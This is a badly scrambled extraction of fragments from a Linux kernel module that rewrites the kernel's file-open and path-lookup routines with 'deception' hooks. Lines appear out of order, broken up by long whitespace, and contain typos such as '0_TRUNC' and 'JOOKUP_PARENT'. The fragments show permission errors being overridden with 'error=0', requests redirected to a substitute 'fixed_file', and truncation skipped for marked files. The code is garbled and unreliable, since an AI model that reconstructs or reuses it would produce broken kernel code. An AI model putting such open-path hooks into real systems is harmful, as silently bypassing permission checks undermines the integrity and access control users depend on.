                                     error=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            or created instead.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (f & O_NOFOLLOW)
                                                                                                                                                                                                                                                                                                                                return 0;
                                                                                                                                                                                                                                                                                                                                                           printk("\n--on:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              retval
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       retval &= ~LOOKUP_FOLLOW;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (fl->fl_owner != owner)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (!(fl->fl_flags & FL_POSIX))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      retval &= ~LOOKUP_FOLLOW;
                                                                                                                                                               (my_path_init(pathname, lookup_flags(flag), nd))
                                                                                                                                          error = my_path_walk(pathname, nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       = LOOKUP_DIRECTORY
                                                            opn:
                                                                                                                                                                                                                                                                                                                                                       %s", pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             //dcvn
                                                          bypassed path_walk");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    this way their file is not created.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if file is to be deceived
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (O_CREAT | O_EXCL))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               f)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        fl->fl_next) {
                               access this
                                                                                 is left "down"
                                                                                                                             otherwise because
                                                                                                                                                                                          infinitely.
                                                                                                                                                                                                                                                                                                     ç
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 // path_release(nd);
// return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        do_last:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        %s", error, pathname);
                                                                                                                                                                                                                                                                                                                                                                              requested file,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              //printk("\n--before");
                                                                                                                                                                                                                                                fixed_file
                                                                                                                                                                                                                                                                                                                                                                                                                                  //printk("\n--creating file");
                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (!dentry->d_inode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 dentry = my_lookup_hash(&nd->last, nd->dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (nd->last_type != LAST_NORM || nd->last.name(nd->last.len)|
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       error = -EISDIR;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (error)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (my_path_init(pathname,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /* Negative dentry, just create the file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (IS_ERR(dentry)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 error = PTR_ERR(dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            down(&dir->d_inode->i_sem);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        dir = nd->dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  * Create - we need to know the parent.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          * will not do.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          * We have the parent and last component. First of all, check
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   * that we are not asked to creat(2) an obvious directory - that
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       error = my_path_walk(pathname, nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             dentry = nd->dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (error)
                                                                                                                                                                                                                                                                                                                                                                                                     if(DECEIVEING&&!again_flag){//dcvn--instead of creating
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    up(&dir->d_inode->i_sem);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    goto ok;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 printk("\n-- o: lookup path_walk error %d
                                                                                                                                                          up(&dir->d_inode->i_sem); // very important -- hangs
                                                                                                                                                                                                                                                                                                                                               pathname=fixed_file; // open an empty file
                                                                                                                                                                                                                                                                                                                            again_flag=1; //make sure we don't loop forever.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      printk("\n-- a-ha %d",dentry);
                                                        =
// directory will hang forever
                                                                                                        // the semaphore for the current directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                LOOKUP_PARENT,
                                                      so 'ls' or any other program trying to
                                                                                                                                                                                                                                                                     // be in this part of the code once.
                                                                                                                                                                                                                   // did not exist, we would loop
                                                                                                                                                                                                                                                                                                                            we only want
```

```
::
                                                                                                                                      // printk("\n--opn: %s", temp_storage);
                                                                                                                                                                           //dcvn
                       printk("\n--opn: %d %d \n ",EPERM,EACCES);
                                                     printk("\n--opn: %d %s %s",error,current->comm,pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       up(&dir->d_inode->i_sem);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (dentry->d_inode && S_ISDIR(dentry->d_inode->i_mode))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  nd->dentry = dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dput (nd->dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (dentry->d_inode->i_op && dentry->d_inode->i_op->follow_link)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (!dentry->d_inode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               error = -ENOENT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (d_mountpoint(dentry)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (flag & O_EXCL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              error = -EEXIST;
                                                                                   error = permission(inode,acc_mode);
                                                                                                                                                                                                                                if (S_ISDIR(inode->i_mode) && (flag & FMODE_WRITE))
                                                                                                                                                                                                                                                                                                                                                 if (S_ISLNK(inode->i_mode))
                                                                                                                                                                                                                                                                                                                                                                               error = -ELOOP;
                                                                                                                                                                                                                                                                                                                                                                                                                                           if (!inode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     error = -ENOENT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         error = -EISDIR;
if ((error==-EACCES)&&DECEIVEING)
                                                                                                                                                                                                                                                              error = -EISDIR;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                     inode = dentry->d_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        * It already exists
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 goto do_link;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      goto exit_dput;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            while (__follow_down(&nd->mnt,&dentry) && d_mountpoint(dentry));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    goto exit_dput;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (flag & O_NOFOLLOW)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             error = -ELOOP;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              goto ok;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       flag &= ~0_TRUNC;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    up(&dir->d_inode->i_sem);
dput(nd->dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               error = my_vfs_create(dir->d_inode, dentry,
                                                                                                                                                                                                    goto exit;
                                                                                                                                                                                                                                                                                                                     goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                           goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       acc_mode = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             if (error)(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           nd->dentry = dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     /* Don't check for write permission, don't truncate */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       goto exit_dput;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 goto exit; }
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        goto again; //if our fixed_file does not exist
                                                                                                            //printk("p(%d)",var);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   mode & ~current->fs->umask);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  deception
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  \n", tmp_fd, dcv[3]; dcv[4], dcv[5], dcv[6], dcv[7], dcv[8], dcv[9], dcv[10]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              // printk("\n--o%d 3%d 4%d 5%d 6%d 7%d 8%d 9%d t%d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (IS_APPEND(inode)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (S_ISFIFO(inode->i_mode) | S_ISSOCK(inode->i_mode)) {
                                                                                                                                                                                                                           if (flag & O_TRUNC) {
                                                                                                                                                                                                                                                                                                                     error = get_lease(inode, flag);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         error = -EPERM;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (error)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               // printk("\n--i'm in %d\n",tmp_fd);
                                                                                                                                                                                                                                                                                          if (error)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            * can write to them even if the filesystem is read-only.
                                                                                                                                                                                                                                                                                                                                                                               * Ensure there are no outstanding leases on the file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      else if (S_ISBLK(inode->i_mode) | S_ISCHR(inode->i_mode)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  * An append-only file must be opened in append mode for writing
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   actually live on the filesystem itself, and as such you
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   FIFO's, sockets and device files are special: they don't
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               printk("\n--deceiveing %s",pathname)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      dfile_flag=1; //dcvn -- tell filp_open() to mark the file for
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               error = -EACCES;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     error=0; //dcvm -- ignore permission error
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       dcv[tmp_fd]=1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  error = -EROFS;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     flag &= ~O_TRUNC;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (nd->mnt->mnt_flags & MNT_NODEV)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (flag & O_TRUNC)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (IS_RDONLY(inode) && (flag & 2))
                    error = locks_verify_locked(inode);
                                                                                                                                                                        if (error)
                                                                                                                                                                                               error = get_write_access(inode);
                                                                                                                                                                                                                                                         goto exit;
if (!error) {
                                                                                   * Refuse to truncate files with mandatory locks held
                                                                                                                                   goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      flag &= -0_TRUNC;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ((flag & FMODE_WRITE) && !(flag & O_APPEND))
                                                                                on them
```

```
do_link:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       exit_dput:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if(dfile_flag) //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   error
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     not be
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     link_count
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    JOOKUP_PARENT.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  deception, which means there
                                                                              error = -EISDIR;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                path_release(nd);
                                                                                                                                                                                                                                                                             error = dentry->d_inode->i_op->follow_link(dentry, nd);
                                                                                                                                                                                                                                                                                                         UPDATE_ATIME(dentry->d_inode);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (flag & o_NOFOLLOW)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         error = -ELOOP;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             dput (dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return MARK_FILE;
                                                                                                                                                                                                                                                        dput (dentry);
                                                                                                                                                                                                                                                                                                                                                    * are done. Procfs-like symlinks just set LAST_BIND
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         * thing by hands. The reason
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        and path_walk() (called from ->follow_link) honoring
                                                 (nd->last_type
                                                                                                                                                                             (nd->last_type == LAST_BIND) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 This is subtle. Instead of calling do_follow_link() we do the
 (nd->last.name(nd->last.len]) {
                                                                                                                              goto ok;
                                                                                                                                                                                                                                (error
                                                                                                                                                                                                                                                                                                                                                                              stored in nd->last.name and we will have to putname()
                                                                                                                                                                                                                                                                                                                                                                                                                                                     After that we have the parent and last component, i.e.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             if (flag & FMODE_WRITE)
                               goto exit;
                                                                                                                                                                                                        return error;
                                                                                                                                                                                                                                                                                                                                                                                                     Well, almost - if the last component is normal we get its copy
                                                                                                                                                                                                                                                                                                                                                                                                                                 we are in the same situation as after the first path_walk().
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      goto exit_dput;
                                                                                                                                                       dentry = nd->dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (error)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    put_write_access(inode);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       DQUOT_INIT(inode);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk("\n--skip trunc****");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  else(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 DQUOT_INIT (inode);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if(!dfile_flag)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            error =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     error = do_truncate(dentry,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            0; //dcvm -- skip truncate
                                                   != LAST_NORM)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            tell filp_open() to mark file for deception
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           //dcvn --
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         is that this way we have
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         truncate only if the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       // was no
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          //marked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       permission
                                                                                                                                                                                                                                                                                                                                                                                it when we
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         file will
<u>..</u>
                                                                                                                                           static ctl_table sysctl_table[] = {
                                                                                                                                                                                                                        int user_sysctl(ctl_table *table, int *name, int namelen,
                                                                                                                                                                                                                                                                                               #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0
                                                                                                                                                                                                                                                                                                                                                  #define KERNEL_VERSION(a,b,c) ((a)*65536+(b)*256+(c))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                #define MODVERSIONS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #if CONFIG_MODVERSIONS==1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     #include </home/ccd/sys-module/extras17.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            finclude
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        // # File module.c
                                                                                                                                                                                                                                                                                                                                                                            ifndef KERNEL_VERSION
                                                                                                                                                                                                                                                                                                                                                                                                       include <linux/sched.h>
                                                                                                                                                                                                                                                                                                                                                                                                                             include <sys/syscall.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 include <asm/uaccess.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        include <linux/personality.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            include <linux/module.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    include <linux/utime.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               include <linux/module.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       include <linux/kernel.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            include <linux/modversions.h>
                                                                                                                                                                                                                                                                         include <asm/uaccess.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              include </home/ccd/sys-module/dcv.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             include linux/sched.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               /#include <linux/slab.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         goto do_last;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   putname(nd->last.name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    error = -ELOOP;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         dentry = lookup_hash(&nd->last,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  down(&dir->d_inode->i_sem);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (count++==32) {
                                               0200, NULL, NULL, &user_sysctl}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          dir = nd->dentry;
